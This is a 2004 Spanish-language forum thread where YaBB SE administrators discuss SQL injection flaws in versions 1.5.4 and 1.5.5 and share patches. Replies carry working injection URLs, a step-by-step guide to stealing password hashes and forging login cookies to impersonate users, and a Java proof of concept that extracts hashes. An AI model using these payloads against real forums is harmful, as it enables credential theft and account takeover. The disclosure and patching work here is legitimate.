Welcome, Guest. Please Login or Register.
April 26, 2024, 04:38:31 AM
Home Help Search Log in Register
News: SMF is the next generation in forum software, almost completely re-written from the ground up, make sure you don't fall for cheap imitations that suffer from feature bloat!

YaBB SE Community  |  Language Specific User Help  |  Español  |  Bug 1.5.5 « previous next »
Pages: [1] 2 Reply Ignore Print
Author Topic: Bug 1.5.5  (Read 12887 times)
aBsTrAcTo
Jr. Member
**
Posts: 60


Para llegar a saber. Tienes que aprender a entende

WWW
Bug 1.5.5
« on: February 16, 2004, 11:54:40 PM »
Reply with quote

Descripción del Problema:
Bueno resulta que una persona esta dandocelas de hacker "LordSteve" Usuario de este foro y se la pasa explotando bugs?


Hace como 3 dias lei un bug para el yabb se 1.5.5 el sabado y domingo me la he pasado buscando para volverlo a ver.. ya que de pura casualidad lo vi en un sitio.

Hoy en la mañana detecte a este usuario viendo cosas de los archivos ssi.shtml

Y hace unos momentos me pasaron este log

Guest : 200.81.28.106 : Hoy a las 03:30:36pm
/foro/index.php?board=1;sesc=8708f18a3f6a28cb0fd93d2e2d4e9187;action=post;threadid=794;title=Post+reply;quote=-12)+UNION+SELECT+passwd,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*
El foro que especificaste no existe


En donde claramente se ve que esta usando este bug


Para el 1.5.4 estan expuestos en hacker.com.ve sitio de mega hackers que nadamas conocen hackeo de scripts

Si encuentro el bug del 1.5.5 te lo paso. y seguire buscandolo ya que creo que todos estamos vulnerable :>.

Si este usuario responde a sus post me reservo el derecho de responderle a personas lameriles como ella.


PD: Si encuentra el bug avisenme


Lo poco que lei del bug era que cualquier usuario podria agarrar privilegios de admin.
« Last Edit: February 16, 2004, 11:57:18 PM by aBsTrAcTo » Logged

darksteel
Sr. Member
****
Posts: 305


www.cmh-ip.net

luis18a@hotmal.com
Re:Bug 1.5.5
« Reply #1 on: February 17, 2004, 12:05:52 AM »
Reply with quote

si ese es mi log error de mi foro,

http://www.cmh-ip.net/foro/index.php?board=59;sesc=a94a7aaed938f93728594661737704f7;action=post;threadid=794;title=Post+reply;quote=-12)+UNION+SELECT+passwd,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+memberName=Darksteel/*

Sacaron los pass en md5 de todos mis miemnbros y los dejaron e n un  post !!!

Uregnte

Salu22
Logged

mmmm....Searching Hosting !
aBsTrAcTo
Jr. Member
**
Posts: 60


Para llegar a saber. Tienes que aprender a entende

WWW
Re:Bug 1.5.5
« Reply #2 on: February 17, 2004, 12:37:31 AM »
Reply with quote

Confirmado el bug xD solo me hace falta encontrar como sacan la clave encriptada que nos da yabb se.. pero eso no es dificil


foro/index.php?board=88;sesc=c8d1a957e9c1415d8904af6ff55eed36;action=post;threadid=12297;title=Post+reply;quote=-12)+UNION+SELECT+passwd,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=16467/*
Para publicar debes haber ingresado. Si no tienes todavía una cuenta, <a href="http://www.el-hacker.com/foro/index.php?board=88;action=register">regístrate</a>.


Ese error fue de la persona que estaba tratando de dañarme por suerte no fue mucho. pero te lo confirmo hay un bug para el yabb se 1.5.5
Logged

darksteel
Sr. Member
****
Posts: 305


www.cmh-ip.net

luis18a@hotmal.com
Re:Bug 1.5.5
« Reply #3 on: February 17, 2004, 12:47:42 AM »
Reply with quote

alparecer no se kieren hacer cargo ya que eliminaron tu post de aviso

salu2
Logged

mmmm....Searching Hosting !
darksteel
Sr. Member
****
Posts: 305


www.cmh-ip.net

luis18a@hotmal.com
Re:Bug 1.5.5
« Reply #4 on: February 17, 2004, 12:59:12 AM »
Reply with quote

aqui tienes todo men !!!

Hola gente:

Luego de casi un mes de esperar a que los de YabbSE arreglen el agujero y no ver ningún movimiento. Y puesto que ya he publicado la vulnerabilidad y que ya estoy cansado de escribir en inglés, y visto que tarda unos dias en salir en Bugtraq y demás sitios me he decidido a publicar la vulnerabilidad aqui por lo menos para que sea una primicia . No vamos a ser los hispanoparlantes menos que los de la lengua de shakespeare ademas también explicaré algo acerca de para que te pueden servir los hashes extraidos, porque he visto como algunos se despreocupan al pensar que como los hashes están encriptados tampoco pasa nada. Antes de comenzar, decirles que ya este foro está parcheado asi que no malgasten el tiempo probando. De todos modos utilizaré links de este foro pa que se comprenda la idea, espero que el admin no se moleste.

Bueno el hueco está en las versiones 1.5.4 y 1.5.5 de YabSE, puede que en alguna anterior tb pero no las he probado todas.

El agujero en si se encuentra en el fichero post.php donde no se comprueba el parametro quote.


Como explotar la vulnerabilidad:

1- Necesitas ser un usuario registrado
2- Entra en cualquier board. ej. Dudas Generales
3- Entra en cualquier mensaje.ej. POSTS MOVIDOS
4- Ahora mira el codigo fuente y busca la cadena "sesc"
sin las comillas este es el session id un numero hex de 32 caracteres ej. 13a478d8aa161c2231e6d3b36b6d19f2
5- Ahora la url te debe quedar parecida a esta.
http://vulnhost/yabbse/index.php?board=1;action=display;threadid=1

6- Cambiala para que se parezca a esto:
http://vulnhost/yabbse//index.php?board=1;sesc=13a478d8aa161c2231e6d3b36b6d19f2;action=post;threadid=1;title=Post+reply;quote=-12)+UNION+SELECT+passwd,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*

donde dice sesc=######## ahi pones el id que obtuviste antes.


y ya está la página en la página que te trae de vuelta verás  como en el Asunto aparece.
Re: 53245443543543543543543534
este es el hash de la password del usuario cuyo id pusistes en ID_MEMBER=#

Solución Temporal:
Abrir post.php cerca de la linea 49 verás algo parecido a esto

$quotemsg = $quote;

cambialo por:

if ( !is_numeric($quote) )
{
   die('Go out C==|=======>');
}

$quotemsg = $quote;

y ya está.


Bien una vez vista la vulnerabilidad explicarles un poco de que va el tema.

Bien una vez con la hash que puedo hacer.
No se si se habrán dado cuenta pero cuando al loguearte le das a la opción de permanecer logueado el Yabbse lo que hace es ponerte una cookie con tu password doblemente encriptada. La doble encriptación funciona de esta manera. Primero a tu password se le hace un md5 usando como llave el nombre del usuario
esta es la que se guarda en la base de datos y es la que obtienes con este exploit. luego se vuelve a encriptar este md5 usando la llave pwseed que se define en Subs.php y que por defecto es ys.

Bien una vez que tenemos el hash procedemos a hacer el mismo proceso. el hash obtenido lo encriptamos con la llave ys y eso nos da la hash de la cookie, como lo hacemos, pues yo utilice el codigo de yabbse. Luego necesitas el ID de ese usuario, si te lo curras un poco navegando por el foro puedes encontrar informacion del ID del usuario ( ¿no lo voy a dar todo hecho no? )  hay muchas páginas donde se muestra el ID de los usuarios.
bien una vez llegados al punto de tener el hash y el id que se hace. Pués te logueas con tu usuario y le dices al Yabbse que te ponga la cookie y luego la cambias del modo que mas rabia te dé. Por ejemplo utilizando el Paros ( muy recomendable este programa de lo mejor que he visto en proxys web ) , Achilles o similar. mirando un poco el codigo del Yabbse puedes encontrar el formato de la cookie ( Aqui tampoco daré muchas facilidades, hay que currar un poco) y cambias tu id por la del usuario y tu hash por la que obtuviste, veras como automagicamente el yabbse te da la bienvenida como el otro usuario. Otra cosa a tener en cuenta si lo haces de esta manera es que tienes que cambiar la cookie siempre porque sino entra a la primera pagina pero luego cuando vuelva a pedir la cookie mandará la tuya de nuevo.

Bueno esto es todo. Espero por lo menos haber aclarado algunas dudas.

También dar las gracias al admin de este foro que ha guardado silencio casi un mes  acerca del exploit

Saludos a todos.
Logged

mmmm....Searching Hosting !
aBsTrAcTo
Jr. Member
**
Posts: 60


Para llegar a saber. Tienes que aprender a entende

WWW
Re:Bug 1.5.5
« Reply #5 on: February 17, 2004, 01:32:25 AM »
Reply with quote

Falta optro bug que es el que te da los password de los usuarios jejej
Logged

darksteel
Sr. Member
****
Posts: 305


www.cmh-ip.net

luis18a@hotmal.com
Re:Bug 1.5.5
« Reply #6 on: February 17, 2004, 01:41:56 AM »
Reply with quote

La solucion hace desabilitar el post.php :S, yo espero una solucion del yabbse.org  :-X

ese saca los pass del admin en RE: asi dice eso

Salu2
Logged

mmmm....Searching Hosting !
nonamenoname
Noobie
*
Posts: 8


I'm a llama!

Re:Bug 1.5.5
« Reply #7 on: February 17, 2004, 01:48:02 AM »
Reply with quote

A la solución le faltaba un chequeo
donde decia de poner esto:
if (!is_numeric($quote) )
{
   die('Go out C==|=======>');
}

pon esto:
if ($quote &&  !is_numeric($quote) )
{
   die('Go out C==|=======>');
}

y mejor no esperes a los de yabbse :)
Logged
darksteel
Sr. Member
****
Posts: 305


www.cmh-ip.net

luis18a@hotmal.com
Re:Bug 1.5.5
« Reply #8 on: February 17, 2004, 01:59:51 AM »
Reply with quote

muchas gracias lo provare aer si asi sirve

Salu2
Logged

mmmm....Searching Hosting !
MESIN NET
Noobie
*
Posts: 2


I'm a llama!

Re:Bug 1.5.5
« Reply #9 on: February 18, 2004, 01:16:02 AM »
Reply with quote

ese bug solo afecta a la version 1.5.4


YaBB SE is a PHP/MySQL port of the popular forum software YaBB (yet another
bulletin board). An SQL Injection vulnerability in the product allows a
remote attacker to insert malicious SQL statements.

Details:
Vulnerable Systems:
Yabb Se version 1.5.4 (tested), 1.5.3(tested) maybe others

Immune Systems:
Yabb Se version 1.5.5

Technical Details:

the file SSI.php has a number of functions that return some information
about the status of the forum like recent topics, boards statistics and so
on. Functions welcome and recentTopics are vulnerable to SQL injection
because the parameter ID_MEMBER is not checked against malicious input.

Example:

http://vulnhost/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=2)+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_MEMBER=1+OR+1=2)+WHERE+m.ID_MSG+IN+(2,1)+AND+t.ID_TOPIC=m.ID_TOPIC+AND+b.ID_BOARD=t.ID_BOARD+UNION+SELECT+ID_MEMBER,+memberName,null,passwd,null,passwd,null,null,null,null,null,null+FROM+yabbse_members+/*

OR

http://vulnhost/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=1)+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_MEMBER=1+OR+1=1)+UNION+SELECT+ID_MEMBER,+memberName,null,passwd,null,passwd,null,null,null,null,null,null+FROM+yabbse_members+/*

those requests return a page showing all usernames and hashed passwords.

[General Discussion]  test post by test January 01, 2001, 03:00:01 pm
[]  admin by [hashed pass]  January 01, 1970, 01:00:01 am
[]  test_user by [hashed pass]  January 01, 1970, 01:00:02 am


http://vulnhost/yabbse/SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1+OR+1=2)+GROUP+BY+readBy+UNION+SELECT+ASCII(SUBSTRING(realName,1,1)+)+,+0+FROM+yabbse_members+WHERE+ID_MEMBER=1/*

this request return the value of the first character from the realName of
the user whose ID_MEMBER is 1.

Proof of concept code:

/*
* YabbSe SQL Injection test code
* The code is very ugly but it works OK
* Use at your own risk.
* compile:
* javac yabb.java
* exec:
* java yabb http://localhost/yabbse/yabbse154/ yabbse_ 1
* parameters are:
* java yabb [url with path] [database_prefix] [ID_MEMBER]
*/
import java.net.*;
import java.io.*;

public class yabb {
   public static void main(String[] args) throws Exception {

boolean lastChar = false;
String Key = "";

       for ( int count=1; count <= 32 ; count++)
       {
 URL yabbForum = new URL(args[0] +
"SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1%20OR%201=2)%20GROUP
%20BY%20readBy%20UNION%20SELECT%20ASCII(SUBSTRING(passwd,"+count+",1)%20)%20
%20,%20%200%20FROM%20"+args[1]+"members%20WHERE%20ID_MEMBER="+args[2]+"/*");

 BufferedReader in = new BufferedReader(new
InputStreamReader(yabbForum.openStream()));

 String inputLine;

 inputLine = in.readLine();

 int pos  = inputLine.indexOf("action=im");
 int pos2 = inputLine.indexOf(" ", pos + 11);

 if ( pos < 0 )
 {
  System.out.println("ERROR: The server doesn't return any data");
  System.exit(0);
 }

 String theNumber = inputLine.substring( pos + 11, pos2);

 System.out.println(theNumber + "-" + new
Character((char)Integer.parseInt(theNumber.trim())).toString());
 Key += new Character((char)Integer.parseInt(theNumber.trim())).toString();
 in.close();
}
System.out.println("Hashed password : " + Key);
   }
}

Vendor status:
 The vendor was contacted and the vulnerabilities were fixed.

Solution:
 Upgrade to version 1.5.5


bueno y el del 1.5.5 sale publicado para el 1 de marzo oficialmente, esperemos que ya para esas fechas  este detectado el famoso bug , saludos.





« Last Edit: February 18, 2004, 01:24:25 AM by MESIN NET » Logged
Cachapanda
Noobie
*
Posts: 16


WWW
Re:Bug 1.5.5
« Reply #10 on: February 18, 2004, 01:25:14 AM »
Reply with quote

Quote from: nonamenoname on February 17, 2004, 01:48:02 AMpon esto:
if ($quote &&  !is_numeric($quote) )
{
   die('Go out C==|=======>');
}


Este parece que funciona. (El anterior, no)

Gracias! ;)
Logged

nonamenoname
Noobie
*
Posts: 8


I'm a llama!

Re:Bug 1.5.5
« Reply #11 on: February 18, 2004, 01:28:23 AM »
Reply with quote

ese bug solo afecta a la version 1.5.4

¿Estas seguro?

Fijate que no tiene nada que ver uno con el otro.

Este es el del 1.5.4
http://vulnhost/yabbse/SSI.php?function=recentTopics

y este es el del 1.5.5
http://vulnhost/yabbse/index.php?board=1;sesc


Lo único que me extraña es que los desarrolladores no han dicho una palabra. Además ya está confirmado que el BUG del 1.5.5 existe.
Logged
MESIN NET
Noobie
*
Posts: 2


I'm a llama!

Re:Bug 1.5.5
« Reply #12 on: February 18, 2004, 01:34:32 AM »
Reply with quote

lo ando testeando pero no es por el index es el ssi
Logged
nonamenoname
Noobie
*
Posts: 8


I'm a llama!

Re:Bug 1.5.5
« Reply #13 on: February 18, 2004, 01:35:33 AM »
Reply with quote

Arrggghh :) lo del index es para que te dieras cuenta de que los exploits son diferentes.

el del 1.5.4 explota el SSI.php y el del 1.5.5 explota el Post.php

:P
Logged
aBsTrAcTo
Jr. Member
**
Posts: 60


Para llegar a saber. Tienes que aprender a entende

WWW
Re:Bug 1.5.5
« Reply #14 on: February 18, 2004, 02:35:33 AM »
Reply with quote

De hecho todos le han estado escribiendo a los del soporte y nada. y de hecho yo les puse un topico en su foro principal y lo eliminaron :>
Logged

Pages: [1] 2 Reply Ignore Print 
YaBB SE Community  |  Language Specific User Help  |  Español  |  Bug 1.5.5 « previous - next »
 


Powered by MySQL Powered by PHP YaBB SE Community | Powered by YaBB SE
© 2001-2003, YaBB SE Dev Team. All Rights Reserved.
SMF 2.1.4 © 2023, Simple Machines
Valid XHTML 1.0! Valid CSS

Page created in 0.046 seconds with 20 queries.